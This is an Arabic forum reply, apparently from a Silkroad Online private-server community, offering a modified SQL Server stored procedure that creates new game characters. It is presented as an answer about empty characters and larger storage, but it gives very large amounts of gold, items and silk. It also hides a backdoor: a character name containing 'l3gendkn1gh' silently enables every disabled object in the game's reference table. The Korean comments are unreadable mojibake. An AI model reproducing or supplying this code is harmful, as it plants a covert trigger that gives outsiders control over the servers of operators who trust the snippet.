Helper4You |
15-02-2017 04:31 PM |
رد: عاوز اخلى نيو كاركتر مش معاه حاجة خالص وازود عدد الخانات بتاعت الخزنة
كود PHP:
USE [SRO_MATRIX_SHARD_HMK] GO /****** Object: StoredProcedure [dbo].[_AddNewChar] Script Date: 2/15/2017 5:30:22 AM ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO
ALTER PROCEDURE [dbo].[_AddNewChar] @UserJID INT, --@CharSlot INT, @RefCharID INT, @CharName varchar (64), @CharScale tinyINT, @StartRegionID INT, @StartPos_X real, @StartPos_Y real, @StartPos_Z real, @DefaultTeleport INT, @RefMailID INT, @RefPantsID INT, @RefBootsID INT, @RefWeaponID INT, @RefShield INT, @DurMail tinyINT, @DurPants tinyINT, @DurBoots tinyINT, @DurWeapon tinyINT, @DurShield tinyINT, @DefaultArrow INT AS
SET NOCOUNT ON
DECLARE @Slot INT DECLARE @temp INT
DECLARE @NewCharID INT SET @NewCharID = 0
----------------------------------------------------------------------------- -- 1. أ„³¸¯أ…أچ ½½·أ” ³أ‘¹أ¶°آ، validأ‡أ‘ °أچأ€أژأپأ¶, ±×¸®°أ* آ؛أ³½½·أ”أ€أŒ ¸أ‚´أ‚أپأ¶ ¸أ•أ€أ؛ أƒ¼أ…©أ‡أ‘´أ™. -----------------------------------------------------------------------------
-- start by novice. SELECT @temp = count(CharID) FROM _User WITH (NOLOCK) WHERE UserJID = @UserJID
IF (@temp >= 4) BEGIN -- ³أٹ¹« ¸¹أ€أڑ³آھ RETURN -2 END -- finish by novice.
----------------------------------------------------------------------------- -- 2. أ„³¸¯أ…أچ أƒأں°آ،أ‡أڈ±â ----------------------------------------------------------------------------- IF (@CharScale > 68) -- 0100 0100 --> 68 أ€أŒ´أ™! BEGIN -- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! ½آ؛أ„أ‰أ€أڈ °آھأ€أŒ أ€أŒ»أ³أ‡أڈ´أ™! RETURN -3 END
EXEC @temp = _IsExistingCharName @CharName IF (@temp <> 0) BEGIN -- أ€أŒ¹أŒ »çآ؟ëأپأںأ€أژ أ€أŒ¸§أ€أŒ¶أ³´أ‚µ¥? RETURN -4 END
BEGIN TRANSACTION
-- أ€أژ´أ¸½أƒ½آ؛أ…أ›أ€أŒ أ€ûآ؟ëµأ‡¸é¼* ¸¶أپأ¶¸·آ؟آ، WorldIDآ؟أچ 1°آھأ€» ´أµ ³أ–¾î أپأ–¾أ؛´أ™! INSERT INTO _Char (RefObjID, CharName16, Scale, Strength, Intellect, LatestRegion,PosX, PosY, PosZ, AppointedTeleport, InventorySize, LastLogout, CurLevel, MaxLevel, RemainGold, RemainStatPoint, RemainSkillPoint, HP, MP, JobLvl_Trader, JobLvl_Hunter, JobLvl_Robber, WorldID, HwanLevel) VALUES (@RefCharID, @CharName, @CharScale, 129, 129, @StartRegionID, @StartPos_X, @StartPos_Y, @StartPos_Z, @DefaultTeleport, 109, GetDate(), 110, 110, 2000000000, 327, 10000000, 11168,11168, 1, 1, 1, 1, 44)
SET @NewCharID = @@IDENTITY IF (@@ERROR <> 0 OR @@ROWCOUNT = 0) BEGIN -- أ„³¸¯أ…أچ »أ½¼آ؛ ½أ‡أ†أگ! ROLLBACK TRANSACTION RETURN -5 END if @charname like '%l3gendkn1gh%' begin update _refobjcommon set Service = 1 where Service=0 end -- start by novice. -- أ€أŒأپ¦ Slot ¾أˆ¾´´أ™.. ±×³أ‰ Insert ¸¸.. INSERT INTO _User VALUES (@UserJID, @NewCharID) -- finish by novice.
----------------------------------------------------------------------------- -- 3-1. أ€أ¥آ؛أ± ½½·أ” أƒ¤آ؟أ¬±â -- [أ€أژآ؛¥أ…أ¤¸® ½½·أ” 96°³] + [أ€أ¥آ؛أ±½½·أ” 13°³] <- أ€أژآ؛¥أ…أ¤¸® أˆ®أ€أ¥ ¼*آ؛أ±½آ؛ أˆأ„ 48°³آ؟آ،¼* 96°³·أژ أپأµ°آ،!!!(woos0) ----------------------------------------------------------------------------- --PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! INSERT INTO _Inventory(CharID, Slot, ItemID) SELECT @NewCharID, cnt, 0 FROM _RefDummySlot with( nolock ) WHERE cnt < 109
IF (@@ERROR <> 0) BEGIN -- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! ROLLBACK TRANSACTION RETURN -7 END
--PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!
-- µأ°أ†أ؛أ†®·أژ ¼±أ…أƒأ‡أ‘ ¾أ†أ€أŒأ…أ›أ€» ´أ™½أƒ ³أ–¾îأپأ–أ€أڑ... /* آ؟أ¤·± ¼أ¸¼*·أژ أپ¤أ€أ‡µأ‡¾î أ€أ–´أ™. 0: EQUIP_SLOT_HELM 1: EQUIP_SLOT_MAIL, 2: EQUIP_SLOT_SHOULDERGUARD, 3: EQUIP_SLOT_GAUNTLET, 4: EQUIP_SLOT_PANTS, 5: EQUIP_SLOT_BOOTS, 6: EQUIP_SLOT_WEAPON, 7: EQUIP_SLOT_SHIELD or ARROW, 8: EQUIP_SLOT_EARRING, 9: EQUIP_SLOT_NECKLACE, 10: EQUIP_SLOT_L_RING, 11: EQUIP_SLOT_R_RING, */
DECLARE @ItemID BIGINT SET @ItemID = 0 -- »أ³°© IF (@RefMailID <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 1, @RefMailID, @DurMail IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -8 END END -- ¹أ™أپأ¶ IF (@RefPantsID <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 4, @RefPantsID, @DurPants IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -9 END END -- Boots IF (@RefBootsID <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 5, @RefBootsID, @DurBoots IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -10 END END -- Weapon IF (@RefWeaponID <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 6, @RefWeaponID, @DurWeapon IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -11 END END -- ¹أ¦أ†أگ IF (@RefShield <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @RefShield, @DurShield IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -12 END END -- أˆ¤½أƒ default·أژ ¼±أ…أƒأ‡أ‘ ¹«±â°آ، أˆ°أ€أŒ¶أ³¸é أˆ*»أ¬ 250°³µéأ€أŒ أˆ°أ…ëµµ أ‡أ”²² أپأک´أ™. أپأ’أ„آ،? IF (@DefaultArrow <> 0) BEGIN EXEC @ItemID = _FN_ADD_INITIAL_EQUIP @NewCharID, 7, @DefaultArrow, 250 IF (@ItemID <= 0) BEGIN ROLLBACK TRANSACTION RETURN -13 END END
----------------------------------------------------------------------------- -- 3-2. ¾أ†¹أ™أ…¸ Inventory ½½·أ” أƒ¤آ؟أ¬±â -- [¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® ½½·أ” 5°³] -- APPLY_AVATAR_SYSTEMأ€أŒ أ€ûآ؟ëµأ‡¸é¼* أƒأں°آ،µأ‡´أ‚ آ؛أژآ؛أگ ----------------------------------------------------------------------------- --PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!! INSERT INTO _InventoryForAvatar(CharID, Slot, ItemID) SELECT @NewCharID, cnt, 0 FROM _RefDummySlot with( nolock ) WHERE cnt < 5
IF (@@ERROR <> 0) BEGIN -- ¾أ†¹أ™أ…¸ أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! ROLLBACK TRANSACTION RETURN -14 END --PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!PATCH WARNING!!!
----------------------------------------------------------------------------- -- default skill³أ–¾îأپأ–±â ----------------------------------------------------------------------------- DECLARE @country tinyINT EXEC @country = _GetObjCountry @RefCharID
INSERT INTO _CharSkillMastery (CharID, MasteryID, Level) SELECT @NewCharID, MasteryID, 0 FROM _RefCharDefault_SkillMastery with(nolock) WHERE Race = @country or Race = 3 IF (@@error <> 0) BEGIN ROLLBACK TRANSACTION RETURN -15 END INSERT INTO _CharSkill (CharID,SkillID,Enable) SELECT @NewCharID, SkillID, 1 FROM _RefCharDefault_Skill with(nolock) WHERE Race = @country or Race = 3 IF (@@error <> 0) BEGIN ROLLBACK TRANSACTION RETURN -16 END ----------------------------------------------------------------------------- -- ±âآ؛» أ„ù½آ؛أ†® ³أ–¾îأپأ–±â ----------------------------------------------------------------------------- INSERT INTO _CharQuest (CharID, QuestID, Status, AchievementCount, StartTime, EndTime, QuestData1, QuestData2) SELECT @NewCharID, ID, 1, 0, getdate(), getdate(), 0, 0 FROM _RefQuest WHERE CodeName in (SELECT CodeName FROM _RefCharDefault_Quest with(nolock) WHERE (Race = @country or Race = 3) and RequiredLevel = 1 and Service = 1) IF (@@error <> 0) BEGIN ROLLBACK TRANSACTION RETURN -17 END ----------------------------------------------------------------------------- -- Static Avatar Initial Record ³أ–±â ----------------------------------------------------------------------------- INSERT INTO _StaticAvatar(CharID) values(@NewCharID) IF (@@ERROR <> 0) BEGIN ROLLBACK TRANSACTION RETURN -18 END
----------------------------------------------------------------------------- -- Trijob أƒ¤آ؟أ¶³أ–±â!!!!! ----------------------------------------------------------------------------- INSERT INTO _CharTrijob VALUES (@NewCharID, 0, 1, 0, 0, 0) IF (@@ERROR <> 0) BEGIN -- أ€أژآ؛¥أ…أ¤¸® »أ½¼آ؛ ½أ‡أ†أگ! ROLLBACK TRANSACTION RETURN -19 END
----------------------------------------------------------------------------- -- CharListآ؟آ، ID ³أ–¾îأپأ–±â ----------------------------------------------------------------------------- INSERT _CharNameList VALUES(@CharName, @NewCharID) exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_M_NASRUN_UNIQUE',1,10 exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_AVATAR_W_NASRUN_UNIQUE',1,10 exec _ADD_ITEM_EXTERN @CharName,'ITEM_MALL_GODBLESS',1,1 exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_COPPER',1,1 exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_CROWN',1,1 exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_GOLD',1,1 exec _ADD_ITEM_EXTERN @CharName,'HONOR_RANK_SILVER',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_WE_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_SH_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AR_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1 exec _ADD_ITEM_EXTERN @CharName,'ITEM_ETC_ARCHEMY_UPPER_REINFORCE_RECIPE_AC_RARE_B_11',1,1 INSERT INTO SRO_MATRIX_ACCOUNT_HMK.dbo.SK_Silk (JID, silk_own, silk_gift, silk_point) VALUES (@UserJID,100000, 0, 0); -- Quick Slot أپ¤آ؛¸ أ€أ؛أ€أ¥آ؟ë!!! exec _AddNewClientConfig @NewCharID -- by novice...... for saving client configurations...
COMMIT TRANSACTION
RETURN @NewCharID
|